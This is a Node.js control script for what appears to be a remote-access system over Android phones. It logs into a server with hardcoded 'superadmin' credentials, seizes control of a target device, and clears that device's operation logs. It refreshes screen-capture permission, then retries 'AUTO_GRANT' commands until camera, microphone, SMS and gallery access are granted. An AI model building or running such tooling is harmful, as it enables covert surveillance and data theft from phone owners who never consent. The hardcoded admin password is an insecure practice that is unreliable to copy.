#!/usr/bin/env node

import { io } from 'socket.io-client'
import { writeFile } from 'node:fs/promises'

const DEVICE_ID = process.env.RC_DEVICE_ID || process.argv[2]
const SERVER_HTTP = process.env.RC_SERVER_HTTP || 'http://192.168.100.45:3001'
const SOCKET_URL = process.env.RC_SOCKET_URL || SERVER_HTTP
const USERNAME = process.env.RC_USER || 'superadmin'
const PASSWORD = process.env.RC_PASS || 'superadmin123456789'
const REPORT_PATH =
  process.env.RC_REPORT_PATH || './_tmp_redmi_first_permission_flow_result.json'
const SKIP_PROJECTION_REFRESH = process.env.RC_SKIP_PROJECTION_REFRESH === '1'
const PROJECTION_SETTLE_MS = Number(process.env.RC_PROJECTION_SETTLE_MS || 5000)
const PERMISSION_RETRIES = Number(process.env.RC_PERMISSION_RETRIES || 4)
const REQUEST_WAIT_BASE_MS = Number(process.env.RC_REQUEST_WAIT_BASE_MS || 2000)
const REQUEST_WAIT_STEP_MS = Number(process.env.RC_REQUEST_WAIT_STEP_MS || 500)
const RETRY_BACKOFF_BASE_MS = Number(process.env.RC_RETRY_BACKOFF_BASE_MS || 1600)

if (!DEVICE_ID) {
  console.error('Missing device id. Usage: node scripts/redmi_first_permission_flow.mjs <deviceId>')
  process.exit(1)
}

const nowIso = () => new Date().toISOString()
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

const report = {
  startedAt: nowIso(),
  finishedAt: null,
  serverHttp: SERVER_HTTP,
  socketUrl: SOCKET_URL,
  deviceId: DEVICE_ID,
  steps: [],
  events: [],
  summary: {
    ok: 0,
    warn: 0,
    fail: 0
  }
}

const INTERESTING_EVENTS = new Set([
  'connect',
  'client_registered',
  'device_control_response',
  'refresh_permission_response',
  'permission_response',
  'control_error',
  'auth_error',
  'registration_error'
])

function safeStringify(value, maxLen = 500) {
  try {
    const text = JSON.stringify(value)
    if (!text) return ''
    if (text.length <= maxLen) return text
    return `${text.slice(0, maxLen)}...<trimmed>`
  } catch {
    return String(value)
  }
}

function pushEvent(event, args) {
  if (!INTERESTING_EVENTS.has(event)) return
  const payload = args.length <= 1 ? args[0] : args
  report.events.push({
    at: nowIso(),
    event,
    payloadPreview: safeStringify(payload, 700)
  })
  if (report.events.length > 1200) {
    report.events.shift()
  }
}

function waitEvent(socket, event, predicate = () => true, timeoutMs = 10000) {
  return new Promise((resolve, reject) => {
    const timer = setTimeout(() => {
      socket.off(event, onEvent)
      reject(new Error(`timeout_waiting_${event}_${timeoutMs}ms`))
    }, timeoutMs)

    function onEvent(payload) {
      try {
        if (!predicate(payload)) return
        clearTimeout(timer)
        socket.off(event, onEvent)
        resolve([payload])
      } catch (error) {
        clearTimeout(timer)
        socket.off(event, onEvent)
        reject(error)
      }
    }

    socket.on(event, onEvent)
  })
}

async function runStep(name, fn, { optional = false } = {}) {
  const started = Date.now()
  try {
    const detail = await fn()
    report.steps.push({
      name,
      status: 'ok',
      durationMs: Date.now() - started,
      detail
    })
    report.summary.ok += 1
    console.log(`OK   ${name}`)
    return true
  } catch (error) {
    const status = optional ? 'warn' : 'fail'
    report.steps.push({
      name,
      status,
      durationMs: Date.now() - started,
      error: error instanceof Error ? error.message : String(error)
    })
    report.summary[status] += 1
    console.log(`${status.toUpperCase()} ${name} -> ${error instanceof Error ? error.message : String(error)}`)
    return false
  }
}

async function loginAndGetToken() {
  const response = await fetch(`${SERVER_HTTP}/api/auth/login`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      username: USERNAME,
      password: PASSWORD
    })
  })
  const data = await response.json().catch(() => ({}))
  if (!response.ok || !data?.success || !data?.token) {
    throw new Error(`login_failed status=${response.status} body=${safeStringify(data, 900)}`)
  }
  return data.token
}

async function main() {
  const token = await loginAndGetToken()
  const socket = io(SOCKET_URL, {
    transports: ['websocket', 'polling'],
    timeout: 15000,
    reconnection: false,
    auth: { token }
  })
  socket.onAny((event, ...args) => pushEvent(event, args))

  const emitClientEvent = (type, data = {}) => {
    socket.emit('client_event', {
      type,
      data: { ...data, deviceId: data.deviceId || DEVICE_ID },
      timestamp: Date.now()
    })
  }

  const emitControlMessage = (type, data = {}) => {
    socket.emit('control_message', {
      type,
      deviceId: DEVICE_ID,
      data,
      timestamp: Date.now()
    })
  }

  const emitCameraControl = (action, data = {}) => {
    socket.emit('camera_control', {
      action,
      deviceId: DEVICE_ID,
      data
    })
  }

  const waitPermissionResponse = async (permissionType, timeoutMs = 22000) => {
    const normalized = String(permissionType || '').trim().toLowerCase()
    const [resp] = await waitEvent(
      socket,
      'permission_response',
      (payload) => {
        if (!payload || payload.deviceId !== DEVICE_ID) return false
        const incoming = String(payload.permissionType || '').trim().toLowerCase()
        return incoming === normalized
      },
      timeoutMs
    )
    return {
      success: !!resp?.success,
      message: resp?.message || '',
      raw: resp
    }
  }

  const ensureRuntimePermission = async (
    permissionName,
    requestAction,
    checkAction,
    retries = PERMISSION_RETRIES
  ) => {
    let lastError = null
    let lastMessage = ''
    for (let attempt = 1; attempt <= retries; attempt += 1) {
      try {
        emitCameraControl(requestAction, {})
        await sleep(REQUEST_WAIT_BASE_MS + (attempt - 1) * REQUEST_WAIT_STEP_MS)
        emitCameraControl(checkAction, {})
        const result = await waitPermissionResponse(permissionName, 22000)
        lastMessage = result.message || lastMessage
        if (result.success) {
          return {
            granted: true,
            attempts: attempt,
            message: result.message || 'granted'
          }
        }
      } catch (error) {
        lastError = error
      }
      await sleep(RETRY_BACKOFF_BASE_MS * attempt)
    }
    if (lastError) throw lastError
    throw new Error(lastMessage || `${permissionName}_permission_not_granted`)
  }

  let hasControl = false
  try {
    await waitEvent(socket, 'connect', () => true, 12000)

    socket.emit('web_client_register', {
      userAgent: 'codex-redmi-first-permission-flow'
    })

    const [registered] = await waitEvent(socket, 'client_registered', () => true, 15000)
    const devices = Array.isArray(registered?.devices) ? registered.devices : []
    report.registeredDevicesCount = devices.length
    report.targetDeviceFound = devices.some((d) => d?.id === DEVICE_ID)

    await runStep('request_device_control', async () => {
      emitClientEvent('REQUEST_DEVICE_CONTROL', { deviceId: DEVICE_ID })
      const [resp] = await waitEvent(
        socket,
        'device_control_response',
        (payload) => payload?.deviceId === DEVICE_ID,
        15000
      )
      if (!resp?.success) {
        throw new Error(resp?.message || 'request_control_failed')
      }
      hasControl = true
      return { message: resp.message || 'ok' }
    })

    await runStep(
      'enable_operation_log',
      async () => {
        if (!hasControl) throw new Error('no_control')
        emitControlMessage('LOG_ENABLE', {})
        await sleep(500)
        return { sent: true }
      },
      { optional: true }
    )

    await runStep(
      'clear_operation_logs',
      async () => {
        if (!hasControl) throw new Error('no_control')
        emitClientEvent('CLEAR_OPERATION_LOGS', { deviceId: DEVICE_ID })
        await sleep(500)
        return { sent: true }
      },
      { optional: true }
    )

    if (!SKIP_PROJECTION_REFRESH) {
      await runStep(
        'refresh_media_projection_permission',
        async () => {
          if (!hasControl) throw new Error('no_control')
          emitClientEvent('REFRESH_MEDIA_PROJECTION_PERMISSION', { deviceId: DEVICE_ID })
          const [resp] = await waitEvent(
            socket,
            'refresh_permission_response',
            (payload) => payload?.deviceId === DEVICE_ID,
            22000
          )
          return { success: !!resp?.success, message: resp?.message || '' }
        },
        { optional: true }
      )

      await runStep(
        'refresh_media_projection_manual',
        async () => {
          if (!hasControl) throw new Error('no_control')
          emitClientEvent('REFRESH_MEDIA_PROJECTION_MANUAL', { deviceId: DEVICE_ID })
          const [resp] = await waitEvent(
            socket,
            'refresh_permission_response',
            (payload) => payload?.deviceId === DEVICE_ID,
            22000
          )
          return { success: !!resp?.success, message: resp?.message || '' }
        },
        { optional: true }
      )

      await runStep(
        'settle_after_projection_refresh',
        async () => {
          await sleep(PROJECTION_SETTLE_MS)
          return { waitedMs: PROJECTION_SETTLE_MS }
        },
        { optional: true }
      )
    }

    await runStep(
      'camera_permission_check',
      async () =>
        ensureRuntimePermission(
          'camera',
          'CAMERA_PERMISSION_AUTO_GRANT',
          'CAMERA_PERMISSION_CHECK',
          PERMISSION_RETRIES
        )
    )
    await sleep(2200)

    await runStep(
      'microphone_permission_check',
      async () =>
        ensureRuntimePermission(
          'microphone',
          'MICROPHONE_PERMISSION_AUTO_GRANT',
          'MICROPHONE_PERMISSION_CHECK',
          PERMISSION_RETRIES
        )
    )
    await sleep(2200)

    await runStep(
      'sms_permission_check',
      async () =>
        ensureRuntimePermission(
          'sms',
          'SMS_PERMISSION_AUTO_GRANT',
          'SMS_PERMISSION_CHECK',
          PERMISSION_RETRIES
        )
    )
    await sleep(2200)

    await runStep(
      'gallery_permission_check',
      async () =>
        ensureRuntimePermission(
          'gallery',
          'GALLERY_PERMISSION_AUTO_GRANT',
          'GALLERY_PERMISSION_CHECK',
          PERMISSION_RETRIES
        )
    )
  } catch (error) {
    report.steps.push({
      name: 'fatal',
      status: 'fail',
      durationMs: 0,
      error: error instanceof Error ? error.message : String(error)
    })
    report.summary.fail += 1
    console.error(error instanceof Error ? error.message : String(error))
  } finally {
    await runStep(
      'release_device_control',
      async () => {
        if (!hasControl) return { skipped: true }
        emitClientEvent('RELEASE_DEVICE_CONTROL', { deviceId: DEVICE_ID })
        await sleep(700)
        return { released: true }
      },
      { optional: true }
    )

    socket.close()
    report.finishedAt = nowIso()
    await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8')
  }
}

main().catch(async (error) => {
  report.steps.push({
    name: 'unhandled',
    status: 'fail',
    durationMs: 0,
    error: error instanceof Error ? error.message : String(error)
  })
  report.summary.fail += 1
  report.finishedAt = nowIso()
  try {
    await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8')
  } catch {}
  process.exit(1)
})
